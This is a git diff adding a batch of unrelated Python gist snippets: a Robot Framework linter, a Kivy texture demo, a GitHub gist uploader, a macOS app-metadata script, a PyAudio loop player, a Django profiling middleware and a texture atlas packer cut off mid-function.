+        self._suite = _suite
+        self._findings = _findings
+        self._checkers = None
+
+    def build(self):
+        ''' scan all available checkers, and sort them with _id '''
+        _checkers = []
+        for cls in globals():
+            if cls.endswith('Checker') and not cls.startswith('_'):
+                inst = globals()[cls](self._findings)
+                _checkers.append(inst)
+        self._checkers = CombinedCheckers(sorted(_checkers, key=lambda x: x._id))
+        return self
+
+    def lint(self):
+        ''' do the static analysis '''
+        self._suite.visit(self._checkers)
+        self._findings.visit()
+        sys.exit(self._findings.get_code())
+
+
+class CombinedCheckers(SuiteVisitor):
+    def __init__(self, checkers):
+        super(CombinedCheckers, self).__init__()
+        self._checkers = checkers
+
+    def start_suite(self, suite):
+        for _checker in self._checkers:
+            _checker.start_suite(suite)
+
+    def end_suite(self, suite):
+        for _checker in self._checkers:
+            _checker.end_suite(suite)
+
+    def start_test(self, test):
+        for _checker in self._checkers:
+            _checker.start_test(test)
+
+    def end_test(self, test):
+        for _checker in self._checkers:
+            _checker.end_test(test)
+
+    def start_keyword(self, kw):
+        for _checker in self._checkers:
+            _checker.start_keyword(kw)
+
+    def end_keyword(self, kw):
+        for _checker in self._checkers:
+            _checker.end_keyword(kw)
+
+
+class Findings(object):
+    ''' Findings of all checking actions '''
+    def __init__(self):
+        self._findings = []
+
+    def add(self, _finding):
+        self._findings.append(_finding)
+
+    def visit(self):
+        if self._findings:
+            print 'Severity\tCategory\tNode\tMessage'
+            for _finding in self._findings:
+                print self.format_finding(_finding)
+        else:
+            print 'Great, You are awsome!'
+
+    def format_finding(self, _finding):
+        return '%s%s\t%s\t%s\t%s' % _finding
+
+    def get_code(self):
+        return len(self._findings)
+
+
+class _BaseChecker(SuiteVisitor):
+    ''' This is a VIRTUAL checker, that will be inherited by others '''
+    _id = 0
+    _severity = 'R' # E/W/R
+    _name = 'base'
+
+    def __init__(self, _findings):
+        SuiteVisitor.__init__(self)
+        self._findings = _findings
+
+    def add_finding(self, category, node, msg):
+        self._findings.add((self._severity, self._id, category, node, msg))
+
+
+class NamingChecker(_BaseChecker):
+    '''
+    * show bad suite/case/keyword/variable name warning
+        * suite name should not contain "."
+        * suite name should not be less than 3 words
+        * test name should not contain "."
+        * test name should not be the same as suite name
+        * suite variable should be upper case
+        * scalar variable should not contain more than one value
+        * list variable should not contain only one value
+    '''
+    _id = 101
+    _severity = 'W'
+    _name = 'bad-name'
+
+    def start_suite(self, _suite):
+        if os.path.isdir(_suite.source):
+            if '.' in os.path.basename(_suite.source):
+                self.add_finding('suite', os.path.basename(_suite.source),
+                        'suite name should not contain "."')
+        else:
+            if os.path.basename(_suite.source).count('.') > 1:
+                self.add_finding('suite', os.path.basename(_suite.source),
+                        'suite name should not contain "."')
+        if not _suite.suites and len(_suite.name.split()) < 3:
+            self.add_finding('suite', _suite.name,
+                    'suite name should not be less than 3 words')
+        for _variable in _suite.variables:
+            self._check_suite_variable_name(_variable)
+
+
+    def start_test(self, _test):
+        if '.' in _test.name:
+            self.add_finding('test', _test.name,
+                    'test name should contain "."')
+        if _test.name == _test.parent.name:
+            self.add_finding('test', _test.name,
+                    'test name should not be the same with suite name')
+
+    def _check_suite_variable_name(self, _variable):
+        if _variable.name.upper() != _variable.name:
+            self.add_finding('variable', _variable.name,
+                    'suite variable name should be upper case')
+        if _variable.name.startswith('$') and len(_variable.value) > 1:
+            self.add_finding('variable', _variable.name,
+                    'scalar variable should not contain more than one value')
+        if _variable.name.startswith('@') and len(_variable.value) == 1:
+            self.add_finding('variable', _variable.name,
+                    'list variable should not contain only one value')
+
+
+class StructureChecker(_BaseChecker):
+    '''
+    * show too little/many test cases in one suite warning
+    * show too little/too many steps in one test case warning
+    * show too many steps in one keyword warning
+    '''
+    _id = 102
+    _severity = 'W'
+    _name = 'bad-structure'
+
+    def start_suite(self, _suite):
+        self._check_cases_in_suite(_suite)
+        self._check_setup_teardown_in_suite(_suite)
+
+    def _check_cases_in_suite(self, _suite):
+        if _suite.tests:
+            if len(_suite.tests) < settings.MIN_CASES_IN_ONE_SUITE:
+                self.add_finding('suite', _suite.name,
+                        'one suite contain less than %d tests' % settings.MIN_CASES_IN_ONE_SUITE)
+            elif len(_suite.tests) > settings.MAX_CASES_IN_ONE_SUITE:
+                self.add_finding('suite', _suite.name,
+                        'one suite contain more than %d tests' % settings.MAX_CASES_IN_ONE_SUITE)
+    def _check_setup_teardown_in_suite(self, _suite):
+        if not _suite.keywords.setup and not _suite.keywords.teardown:
+            self.add_finding('suite', _suite.name,
+                    'neither setup nor teardown defined')
+
+    def start_test(self, _test):
+        if _test.template:
+            num_of_steps = len(self._get_steps(self._get_steps(_test)[0]))
+            if num_of_steps == 0: # when template contain variable
+                return
+        else:
+            num_of_steps = len(self._get_steps(_test))
+        if num_of_steps < settings.MIN_STEPS_IN_ONE_CASE:
+            self.add_finding('test', _test.name,
+                    'one test contain less than %d steps' % settings.MIN_STEPS_IN_ONE_CASE)
+        elif num_of_steps > settings.MAX_STEPS_IN_ONE_CASE:
+            self.add_finding('test', _test.name,
+                    'one test contain more than %d steps' % settings.MAX_STEPS_IN_ONE_CASE)
+
+    def start_keyword(self, _kw):
+        self._check_steps_in_one_kw(_kw)
+        self._check_arguments_in_one_kw(_kw)
+
+    def _check_steps_in_one_kw(self, _kw):
+        if len(self._get_steps(_kw)) > settings.MAX_STEPS_IN_ONE_KW:
+            self.add_finding('keyword', _kw.name,
+                    'one keyword contain more than %d steps' % settings.MAX_STEPS_IN_ONE_KW)
+
+    def _check_arguments_in_one_kw(self, _kw):
+        if len(_kw.args) > settings.MAX_ARGUMENTS_IN_ONE_KEYWORD:
+            self.add_finding('keyword', _kw.name,
+                    'too many arguments (%d/%d)' % (len(_kw.args),
+                        settings.MAX_ARGUMENTS_IN_ONE_KEYWORD))
+
+    def _get_steps(self, parent):
+        return filter(lambda _kw: _kw.is_comment() is False, parent.keywords)
+
+
+class TagsChecker(_BaseChecker):
+    '''
+    * show mandentory tags missing warning
+    '''
+    _id = 103
+    _severity = 'E'
+    _name = 'mandentory-tags'
+
+    def start_test(self, _test):
+        tags = self._get_tags(_test)
+        missing_tags = filter(lambda _tag: tags.get(_tag, '') == '', settings.MANDATORY_TAGS)
+        if missing_tags:
+            self.add_finding('test', _test.name,
+                    'mandatory tags %s missing or empty value' % str(missing_tags))
+
+    def _get_tags(self, _test):
+        return dict(map(lambda _tag: '-' in _tag and _tag.split('-', 1) or [_tag, ''], _test.tags))
+
+
+class KeywordInvalidUsageChecker(_BaseChecker):
+    '''
+    * show too many arguments in one keyword warning
+    * show set suite variable/set test variable invalid usage warning
+    * show dangerous keywords usage warning
+    * show deprecated keywords used warning
+    * use "Run Keyword and Ignore Error" but no return value used warning
+    * performance issue warning like using sleep
+    * recursive calling
+    '''
+    _id = 201
+    _severity = 'W'
+    _name = 'keyword-invalid-usage'
+
+    def start_keyword(self, _kw):
+        self._check_arguments(_kw)
+        self._check_forbidden(_kw)
+        self._check_deprecated(_kw)
+        self._check_set_suite_variable(_kw)
+        self._check_set_test_variable(_kw)
+        self._check_sleep(_kw)
+        self._check_run_keyword_and_ignore_error(_kw)
+        self._check_recursive_calling(_kw)
+
+    def _check_arguments(self, _kw):
+        if len(_kw.args) > settings.MAX_ARGUMENTS_IN_ONE_KEYWORD:
+            self.add_finding('keyword', _kw.name,
+                    'too many arguments (%d/%d)' % (len(_kw.args),
+                        settings.MAX_ARGUMENTS_IN_ONE_KEYWORD))
+
+    def _check_forbidden(self, _kw):
+        if _kw.name in settings.FORBIDDEN_KEYWORDS:
+            self.add_finding('keyword', _kw.name,
+                    'keyword "%s" is forbidden' % _kw.name)
+
+    def _check_deprecated(self, _kw):
+        if _kw.name in settings.DEPRECATED_KEYWORDS:
+            self.add_finding('keyword', _kw.name,
+                    'keyword "%s" is deprecated' % _kw.name)
+
+    def _check_set_suite_variable(self, _kw):
+        if _kw.name == 'Set Suite Variable':
+            parent = _kw.parent
+            while type(parent) not in (TestCase, TestSuite):
+                parent = parent.parent
+            if type(parent) == TestCase:
+                self.add_finding('keyword', _kw.name,
+                        'keyword "Set Suite Variable" should not be used in TestCase')
+
+    def _check_set_test_variable(self, _kw):
+        if _kw.name == 'Set Test Variable':
+            parent = _kw.parent
+            while type(parent) not in (TestCase, TestSuite):
+                parent = parent.parent
+            if type(parent) == TestCase:
+                self.add_finding('keyword', _kw.name,
+                        'keyword "Set Test Variable" should not be used in TestSuite')
+
+    def _check_sleep(self, _kw):
+        if _kw.name == 'Sleep':
+            self.add_finding('keyword', _kw.name,
+                    'using Sleep may cause performance issue')
+
+    def _check_run_keyword_and_ignore_error(self, _kw):
+        if _kw.name == 'Run Keyword and Ignore Error' and not _kw.assign:
+            self.add_finding('keyword', _kw.name,
+                    'using "Run Keyword and Ignore Error" but with no return value used, \
+                    "Run Keyword And Continue On Failure" is your choice')
+
+    def _check_recursive_calling(self, _kw):
+        parent = _kw.parent
+        while hasattr(parent, 'type') and parent.type == 'kw':
+            if parent.name == _kw.name:
+                self.add_finding('keyword', _kw.name,
+                        'recursive calling detected')
+                break
+            parent = parent.parent
+
+
+class CaseDupChecker(_BaseChecker):
+    _id = 202
+    _severity = 'W'
+    _name = 'case-duplication'
+
+    def __init__(self, _findings):
+        _BaseChecker.__init__(self, _findings)
+        self._cases = {} # key: md5, value: [case longname]
+
+    def start_test(self, _test):
+        steps = map(lambda kw: kw.name, _test.keywords)
+        _md5 = hashlib.md5(str(steps)).hexdigest()
+        self._cases.setdefault(_md5, []).append(_test.longname)
+        if len(self._cases[_md5]) > 1:
+            self.add_finding('test', _test.name,
+                    'duplicated tests %s' % str(self._cases[_md5]))
+
+
+if __name__ == '__main__':
+    paths = sys.argv[1:]
+    if '-h' in paths or '--help' in paths:
+        print __doc__
+        print 'usage:\n\npython rfexplain.py <path 1> <path 2> ...\n'
+        sys.exit(0)
+    suite = TestSuiteBuilder().build(*paths)
+    findings = Findings()
+    LintBuilder(suite, findings).build().lint()
diff --git a/hard-gists/3582544/._snippet.py b/hard-gists/3582544/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3582544/._snippet.py differ
diff --git a/hard-gists/3582544/snippet.py b/hard-gists/3582544/snippet.py
new file mode 100644
index 00000000..31d54188
--- /dev/null
+++ b/hard-gists/3582544/snippet.py
@@ -0,0 +1,30 @@
+from kivy.app import App
+from kivy.uix.widget import Widget
+from kivy.graphics import Rectangle
+from kivy.graphics.texture import Texture
+
+
+class MyWidget(Widget):
+    def __init__(self, **args):
+        super(MyWidget, self).__init__(**args)
+
+        self.texture = Texture.create(size=(2, 1), colorfmt='rgb')
+
+        color1 = 0
+        color2 = 255
+
+        buf = ''.join(map(chr, [color1, color2]))
+
+        self.texture.blit_buffer(buf, colorfmt='rgb', bufferfmt='ubyte')
+
+        with self.canvas:
+            Rectangle(pos=self.pos, size=self.size, texture=self.texture)
+
+
+class TestApp(App):
+    def build(self):
+        return MyWidget(size=(200, 200))
+
+
+if __name__ == '__main__':
+    TestApp().run()
\ No newline at end of file
diff --git a/hard-gists/3599025/._snippet.py b/hard-gists/3599025/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3599025/._snippet.py differ
diff --git a/hard-gists/3599025/snippet.py b/hard-gists/3599025/snippet.py
new file mode 100644
index 00000000..08b5ba56
--- /dev/null
+++ b/hard-gists/3599025/snippet.py
@@ -0,0 +1,38 @@
+from urllib.request import urlopen
+import json
+
+gist_description = "does stuff"
+gist_filename = 'file1_upload_to_github.py'
+gist_body = """\
+line1
+line2
+line3
+line4
+"""
+
+def main_function(gist_filename, gist_description, gist_body):
+
+    gist_post_data = {  'description': gist_description, 
+                        'public': True,
+                        'files': {gist_filename: {'content': gist_body}}}
+
+    json_post_data = json.dumps(gist_post_data).encode('utf-8')
+
+    def get_gist_url(found_json):
+        wfile = json.JSONDecoder()
+        wjson = wfile.decode(found_json)
+        print('https://gist.github.com/' + wjson['id'])
+
+    def upload_gist():
+        print('sending')
+        url = 'https://api.github.com/gists'
+        json_to_parse = urlopen(url, data=json_post_data)
+        
+        print('received response from server')
+        found_json = json_to_parse.readall().decode()
+        get_gist_url(found_json)
+
+    upload_gist()
+
+
+main_function(gist_filename, gist_description, gist_body)
diff --git a/hard-gists/35fb758c18036d7f8640/._snippet.py b/hard-gists/35fb758c18036d7f8640/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/35fb758c18036d7f8640/._snippet.py differ
diff --git a/hard-gists/35fb758c18036d7f8640/snippet.py b/hard-gists/35fb758c18036d7f8640/snippet.py
new file mode 100644
index 00000000..f78680d1
--- /dev/null
+++ b/hard-gists/35fb758c18036d7f8640/snippet.py
@@ -0,0 +1,103 @@
+#! /usr/bin/python
+# -*- coding: utf-8 -*-
+
+# @author weishu @2015/12/7
+
+import subprocess
+import os
+import re
+import json
+
+from AppKit import NSWorkspace, NSBundle
+from pypinyin import lazy_pinyin
+
+# copy from Alfred 2 preferences, if you have applications installed at other place, add it here.
+APP_DIRECTORYS = [
+    u'/Applications',
+    u'/Applications/Xcode.app/Contents/Applications',
+    u'/Developer/Applications',
+    u'/Library/PreferencePannes',
+    u'/opt/homebrew-cask/Caskroom',
+    u'/System/Library/PreferencePannes',
+    u'/usr/local/Cellar',
+    u'~/Library/Caches/Metadata',
+    u'~/Library/Mobile Documents',
+    u'~/Library/PreferencePannes'
+]
+
+def _is_application(workspace, abspath):
+    ''' is a `abspath` stand for a mac app'''
+    return workspace.isFilePackageAtPath_(abspath)
+
+def _get_app_pinyin_name(app_name):
+    return reduce(lambda x, y: x + y, lazy_pinyin(app_name, errors='ignore'))
+
+def _add_meta_data(app_pinyin_name, app_path):
+    ''' add meta data(comments) to the app, which can help Alfred or SpotLight find it'''
+    print "processing %s" % app_path
+    try:
+        subprocess.check_call('xattr -w com.apple.metadata:kMDItemFinderComment %s "%s"' % (app_pinyin_name, app_path), shell=True)
+    except:
+        print "process %s failed, ignore." % app_path
+        
+def _get_localized_name(abs_path):
+    '''get the localized name of given app'''
+    bundle = NSBundle.new()
+    bundle.initWithPath_(abs_path)
+    localizations = bundle.localizations()
+    chinese = ('zh_CN', 'zh_Hans', 'zh-Hans', 'zh-CN')
+
+    b = any(map(lambda x: x in localizations, chinese))
+    if not b: return 
+
+    for ch in chinese:
+        path = bundle.pathForResource_ofType_inDirectory_forLanguage_('InfoPlist', 'strings', None, ch)
+        if not path: continue
+        # the path must surround with "", there may be space characters
+        json_str = subprocess.check_output(u'plutil -convert json -o - "%s"' % path, shell=True)
+        # print json_str
+        json_res = json.loads(json_str, encoding='utf8')
+        name = json_res.get('CFBundleName')
+        if name: return name
+
+def main():
+    pattern = re.compile(r'^[\w\s.]+$')
+
+    workspace = NSWorkspace.sharedWorkspace()
+
+    for app_dir in APP_DIRECTORYS:
+        if not os.path.exists(app_dir): continue
+
+        for root, dirs, files in os.walk(app_dir, topdown=True):
+            remove_list = []
+            for directory in dirs:
+                full_path = os.path.join(root, directory)
+                # print full_path
+                if not _is_application(workspace, full_path): continue
+
+                remove_list.append(directory)
+                try:
+                    localized_name =  _get_localized_name(full_path)
+                except:
+                    print "get localized name for %s failed. ignore" % full_path
+                    # continue
+                
+                # print "localized_name:", localized_name if localized_name else None
+                app_name = localized_name if localized_name else directory.rsplit(r'.')[0]
+
+                if pattern.match(app_name):
+                    # print "app_name: %s not match" % app_name
+                    continue
+                try:
+                    _add_meta_data(_get_app_pinyin_name(app_name), full_path)
+                except:
+                    # may be empty, just ignore
+                    print "add meta for %s failed" % full_path
+
+            # if this directory is already a Application
+            # do not traverse this; some app may be very large 
+            # and there won't be any other app inside it
+            dirs[:] = [d for d in dirs if d not in remove_list]
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/3624478/._snippet.py b/hard-gists/3624478/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3624478/._snippet.py differ
diff --git a/hard-gists/3624478/snippet.py b/hard-gists/3624478/snippet.py
new file mode 100644
index 00000000..4b8b1948
--- /dev/null
+++ b/hard-gists/3624478/snippet.py
@@ -0,0 +1,66 @@
+import os
+import wave
+import threading
+import sys
+
+# PyAudio Library
+import pyaudio
+
+class WavePlayerLoop(threading.Thread) :
+  """
+  A simple class based on PyAudio to play wave loop.
+
+  It's a threading class. You can play audio while your application
+  continues to do its stuff. :)
+  """
+
+  CHUNK = 1024
+
+  def __init__(self,filepath,loop=True) :
+    """
+    Initialize `WavePlayerLoop` class.
+
+    PARAM:
+        -- filepath (String) : File Path to wave file.
+        -- loop (boolean)    : True if you want loop playback. 
+                               False otherwise.
+    """
+    super(WavePlayerLoop, self).__init__()
+    self.filepath = os.path.abspath(filepath)
+    self.loop = loop
+
+  def run(self):
+    # Open Wave File and start play!
+    wf = wave.open(self.filepath, 'rb')
+    player = pyaudio.PyAudio()
+
+    # Open Output Stream (basen on PyAudio tutorial)
+    stream = player.open(format = player.get_format_from_width(wf.getsampwidth()),
+        channels = wf.getnchannels(),
+        rate = wf.getframerate(),
+        output = True)
+
+    # PLAYBACK LOOP
+    data = wf.readframes(self.CHUNK)
+    while self.loop :
+      stream.write(data)
+      data = wf.readframes(self.CHUNK)
+      if data == '' : # If file is over then rewind.
+        wf.rewind()
+        data = wf.readframes(self.CHUNK)
+
+    stream.close()
+    player.terminate()
+
+
+  def play(self) :
+    """
+    Just another name for self.start()
+    """
+    self.start()
+
+  def stop(self) :
+    """
+    Stop playback. 
+    """
+    self.loop = False
diff --git a/hard-gists/3649773/._snippet.py b/hard-gists/3649773/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3649773/._snippet.py differ
diff --git a/hard-gists/3649773/snippet.py b/hard-gists/3649773/snippet.py
new file mode 100644
index 00000000..72e73609
--- /dev/null
+++ b/hard-gists/3649773/snippet.py
@@ -0,0 +1,113 @@
+# Orignal version taken from http://www.djangosnippets.org/snippets/186/
+# Original author: udfalkso
+# Modified by: Shwagroo Team and Gun.io
+
+import sys
+import os
+import re
+import hotshot, hotshot.stats
+import tempfile
+import StringIO
+
+from django.conf import settings
+
+words_re = re.compile( r'\s+' )
+
+group_prefix_re = [
+    re.compile( "^.*/django/[^/]+" ),
+    re.compile( "^(.*)/[^/]+$" ), # extract module path
+    re.compile( ".*" ),           # catch strange entries
+]
+
+class ProfileMiddleware(object):
+    """
+    Displays hotshot profiling for any view.
+    http://yoursite.com/yourview/?prof
+
+    Add the "prof" key to query string by appending ?prof (or &prof=)
+    and you'll see the profiling results in your browser.
+    It's set up to only be available in django's debug mode, is available for superuser otherwise,
+    but you really shouldn't add this middleware to any production configuration.
+
+    WARNING: It uses hotshot profiler which is not thread safe.
+    """
+    def process_request(self, request):
+        if (settings.DEBUG or request.user.is_superuser) and 'prof' in request.GET: 
+            self.tmpfile = tempfile.mktemp()
+            self.prof = hotshot.Profile(self.tmpfile)
+
+    def process_view(self, request, callback, callback_args, callback_kwargs):
+        if (settings.DEBUG or request.user.is_superuser) and 'prof' in request.GET:
+            return self.prof.runcall(callback, request, *callback_args, **callback_kwargs)
+
+    def get_group(self, file):
+        for g in group_prefix_re:
+            name = g.findall( file )
+            if name:
+                return name[0]
+
+    def get_summary(self, results_dict, sum):
+        list = [ (item[1], item[0]) for item in results_dict.items() ]
+        list.sort( reverse = True )
+        list = list[:40]
+
+        res = "      tottime\n"
+        for item in list:
+            res += "%4.1f%% %7.3f %s\n" % ( 100*item[0]/sum if sum else 0, item[0], item[1] )
+
+        return res
+
+    def summary_for_files(self, stats_str):
+        stats_str = stats_str.split("\n")[5:]
+
+        mystats = {}
+        mygroups = {}
+
+        sum = 0
+
+        for s in stats_str:
+            fields = words_re.split(s);
+            if len(fields) == 7:
+                time = float(fields[2])
+                sum += time
+                file = fields[6].split(":")[0]
+
+                if not file in mystats:
+                    mystats[file] = 0
+                mystats[file] += time
+
+                group = self.get_group(file)
+                if not group in mygroups:
+                    mygroups[ group ] = 0
+                mygroups[ group ] += time
+
+        return "<pre>" + \
+               " ---- By file ----\n\n" + self.get_summary(mystats,sum) + "\n" + \
+               " ---- By group ---\n\n" + self.get_summary(mygroups,sum) + \
+               "</pre>"
+
+    def process_response(self, request, response):
+        if (settings.DEBUG or request.user.is_superuser) and 'prof' in request.GET:
+            self.prof.close()
+
+            out = StringIO.StringIO()
+            old_stdout = sys.stdout
+            sys.stdout = out
+
+            stats = hotshot.stats.load(self.tmpfile)
+            stats.sort_stats('time', 'calls')
+            stats.print_stats()
+
+            sys.stdout = old_stdout
+            stats_str = out.getvalue()
+
+            if response and response.content and stats_str:
+                response.content = "<pre>" + stats_str + "</pre>"
+
+            response.content = "\n".join(response.content.split("\n")[:40])
+
+            response.content += self.summary_for_files(stats_str)
+
+            os.unlink(self.tmpfile)
+
+        return response
diff --git a/hard-gists/3668591/._snippet.py b/hard-gists/3668591/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3668591/._snippet.py differ
diff --git a/hard-gists/3668591/snippet.py b/hard-gists/3668591/snippet.py
new file mode 100644
index 00000000..f560395a
--- /dev/null
+++ b/hard-gists/3668591/snippet.py
@@ -0,0 +1,549 @@
+'''
+Texture atlas generator / Kalio.net
+klibs commit: 709551bcf617976a19e6105165eda9524007fc08
+Copyright 2012 Kalio Ltda. 
+
+Requirements: 
+ - PIL: http://www.pythonware.com/products/pil/
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+'''
+
+import sys
+from stat import *
+import os
+import re
+from PIL import Image
+import math
+import json
+import getopt
+from multiprocessing import Pool
+import pprint
+import logging
+log = logging.getLogger('texture_atlas')
+
+# ----------------------------------------------------------------------
+
+PVR_CMD = "/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/texturetool -m -e PVRTC -f PVR --channel-weighting-perceptual --bits-per-pixel-4 -o "
+
+RESAMPLE_FILTER = Image.ANTIALIAS   # NEAREST, BILINEAR, BICUBIC, ANTIALIAS   (in order of quality)
+
+F_COMPRESS_PVR = '_COMPRESS_PVR'
+F_NO_COMPRESS  = '_NO_COMPRESS'
+F_NO_ATLAS     = '_NO_ATLAS'
+F_NO_RESIZE    = '_NO_RESIZE'   
+F_NO_TRIM      = '_NO_TRIM'
+F_NO_MARGIN    = '_NO_MARGIN'
+
+SUBFOLDER_FLAGS = [
+    F_COMPRESS_PVR,
+    F_NO_COMPRESS,
+    F_NO_ATLAS,
+    F_NO_RESIZE,
+    F_NO_TRIM,
+    F_NO_MARGIN,
+    ]
+
+ALLOWED_IMAGE_EXTENSIONS = [
+    '.png',
+]
+
+IGNORED_FOLDERS = [
+    '_tmp', 
+    'tmp',
+    'temp',
+    '_temp',
+]
+
+COMPRESS_PVR = 'pvr'
+
+# ----------------------------------------------------------------------
+
+def prepare_batch(folder_path, folder_name, env):
+    files = []
+    flags = []
+    folder = folder_path + '/' + folder_name
+    for f in os.listdir(folder): 
+        full = os.path.join(folder, f)
+        ext = os.path.splitext(f)[1].lower()
+        mode = os.stat(full)[ST_MODE]
+        if S_ISDIR(mode) and f in SUBFOLDER_FLAGS:
+            flags.append(f)
+        elif S_ISREG(mode) and ext in ALLOWED_IMAGE_EXTENSIONS:
+            files.append(folder_name + '/' + f)
+    log.info(' adding %s: %i frames, (%s)', folder_name, len(files), str(flags))
+    return (folder_name, folder_path, flags, env, files) 
+
+def prepare_batches(folder, env): 
+    batches = []
+    folder_path = os.path.dirname(folder)
+    folder_name = os.path.basename(folder)
+    # make a batch for the folder
+    batches.append(prepare_batch(folder_path, folder_name, env))
+    # and also for each subdir
+    for f in os.listdir(folder): 
+        full = os.path.join(folder, f)
+        mode = os.stat(full)[ST_MODE]
+        if S_ISDIR(mode) and f not in SUBFOLDER_FLAGS and f not in IGNORED_FOLDERS:
+            batches.append(prepare_batch(folder_path, folder_name + '/' + f, env))        
+    return batches
+
+# ----------------------------------------------------------------------
+
+def bt_insert(node, image, w, h, trim, atlas_size, margin_size): 
+    # [left, right, (x,y,w,h), trim, image]
+    #   0      1        2        3     4
+    if node[0] and node[1]: 
+        return (bt_insert(node[0], image, w, h, trim, atlas_size, margin_size) 
+                or bt_insert(node[1], image, w, h, trim, atlas_size, margin_size))
+    else: 
+        # occupied
+        if node[4]: 
+            return False
+        nx,ny,nw,nh = node[2]  # node available space
+        cw = w
+        ch = h
+        if trim: 
+            tl, tt, tr, tb = trim
+            cw -= ( tl + tr )
+            ch -= ( tt + tb )
+        # too small
+        if nw < cw or nh < ch: 
+            return False
+        # fits perfectly
+        if nw == cw and nh == ch: 
+            node[3] = trim
+            node[4] = image
+            return True
+        # create children and split space
+        node[0] = bt_new(atlas_size, margin_size)
+        node[1] = bt_new(atlas_size, margin_size)
+        dw = nw - cw
+        dh = nh - ch
+        if dw > dh: 
+            # vertical split
+            node[0][2] = (nx + margin_size,      ny, cw,                       nh)
+            node[1][2] = (nx + margin_size + cw, ny, nw - (cw + margin_size) , nh)
+        else: 
+            # horizontal split
+            node[0][2] = (nx, ny + margin_size,      nw, ch)
+            node[1][2] = (nx, ny + ch + margin_size, nw, nh - ( ch + margin_size ))
+        return bt_insert(node[0], image, w, h, trim, atlas_size, margin_size)
+
+def bt_flatten(node): 
+    ''' Walks the tree and converts it to a list of (image, x, y, w, h, trim)
+    '''
+    if node[4]: 
+        return [(node[4], node[2][0], node[2][1], node[2][2], node[2][3], node[3])]
+    else:
+        out = []
+        for branch in [0,1]:             
+            if node[branch]: 
+                out.extend(bt_flatten(node[branch]))
+        return out
+
+def bt_new(atlas_size, margin_size): 
+    ''' node = [left tree, right tree, (x,y,w,h), trim, image]
+    '''
+    return [None, 
+            None, 
+            (0,
+             0,
+             atlas_size,
+             atlas_size), 
+            None, 
+            None]
+
+def get_alpha_trim(image):
+    ''' returns bounding box with transparent pixels trimming (left, top, right, bottom) 
+    ''' 
+    w, h = image.size
+    mode = image.mode
+    if mode != 'RGBA': 
+        return (0,0,w,h)
+    # TODO: try to read from cache
+    i = 0
+    col = 0
+    row = 0
+    left,top = w,h
+    right,bottom = 0,0
+    pixel_found = False
+    for p in image.getdata(): 
+        r,g,b,a = p
+        if a != 0: 
+            pixel_found = True
+            col = i % w
+            row = int(i / w)
+            if col < left: left = col
+            if col > right: right = col
+            if row < top: top = row
+            if row > bottom: bottom = row
+        i += 1
+    if pixel_found: 
+        return (left, top, w-right-1, h-bottom-1)
+    else: 
+        return (0, 0, w-2, h-2)   # transparent: return the 2x2 top left corner
+
+def read_image_data(image_path):
+    ''' result: (image_path, w, h, trim)
+    '''
+    im = Image.open(image_path)
+    w, h = im.size
+    trim = get_alpha_trim(im)    
+    return (image_path, w, h, trim)
+
+def get_cached_image_data(image_path, cache): 
+    result =  cache.get(image_path)
+    if not result: 
+        log.error('IMAGE MISSING FROM CACHE: %s' % image_path)
+    return result
+
+def load_image_dimensions(images, folder_path, resize_scale, flags, cache): 
+    ''' result: [ (image, w, h, trim), ... ]
+    '''
+    dimensions = []
+    for f in images: 
+        trim = None
+        image_path, w, h, trim_data = get_cached_image_data(folder_path + '/' + f, cache)
+        if F_NO_TRIM not in flags:
+            trim = trim_data
+            log.debug('trim: %s', str(trim))
+        if resize_scale != 100: 
+            w = int(w * resize_scale / 100.0)
+            h = int(h * resize_scale / 100.0)
+        if trim != None:
+            trim = map(lambda i: int(math.floor(i * resize_scale / 100.0)), trim)
+        dimensions.append((f, w, h, trim))
+    dimensions.sort(lambda x,y: y[2] - x[2] if y[1] == x[1] else y[1] - x[1])
+    return dimensions
+
+def prepare_atlas(batch):
+    ''' batch:  ( folder_name, folder_path, [flags], {env}, [images] )
+        result: [ (aname, folder_path, output_dir, aw, ah, compress_format, [(image, x, y, w, h, trim) ...]) ...]
+    ''' 
+    folder_name, folder_path, flags, env, images = batch
+    output_dir = env.get('output_dir')
+    atlas_size = env.get('atlas_size')
+    margin_size = env.get('margin_size')
+    image_cache = env.get('image_cache')
+    atlas = []    
+
+    resize_scale = env.get('resize_scale', 100.0)
+    if F_NO_RESIZE in flags: 
+        resize_scale = 100.0
+
+    if F_NO_MARGIN in flags: 
+        margin_size = 0
+
+    compress_format = env.get('compress_format', None)
+    if F_COMPRESS_PVR in flags:
+        compress_format = COMPRESS_PVR
+    elif F_NO_COMPRESS in flags:
+        compress_format = None
+        
+    dimensions = load_image_dimensions(images, folder_path, resize_scale, flags, image_cache)
+
+    seq = 0
+    if F_NO_ATLAS in flags:
+        for f, w, h, trim in dimensions: 
+            x = 0
+            y = 0            
+            aw = w
+            ah = h
+            aname = folder_name.replace('/', '_') + '-' + str(seq) + '.png'
+            seq += 1
+            # F_NO_TRIM implied for F_NO_ATLAS
+            atlas.append( (aname, folder_path, output_dir, aw, ah, compress_format, [(f, x, y, w, h, None)]) )
+    else: 
+        aw = atlas_size
+        ah = atlas_size
+        bins = [ bt_new(atlas_size, margin_size) ]
+        for f, w, h, trim in dimensions: 
+            if F_NO_TRIM in flags: 
+                trim = None
+            inserted = False
+            for b in bins:                 
+                if bt_insert(b, f, w, h, trim, atlas_size, margin_size): 
+                    inserted = True
+                    break
+            if not inserted:
+                new_node = bt_new(atlas_size, margin_size)
+                bins.append(new_node)
+                if not bt_insert(new_node, f, w, h, trim, atlas_size, margin_size): 
+                    assert False, "image %s,%i,%i could not be inserted in a clean new bin" % (f,w,h)
+        seq += 1
+        for b in bins: 
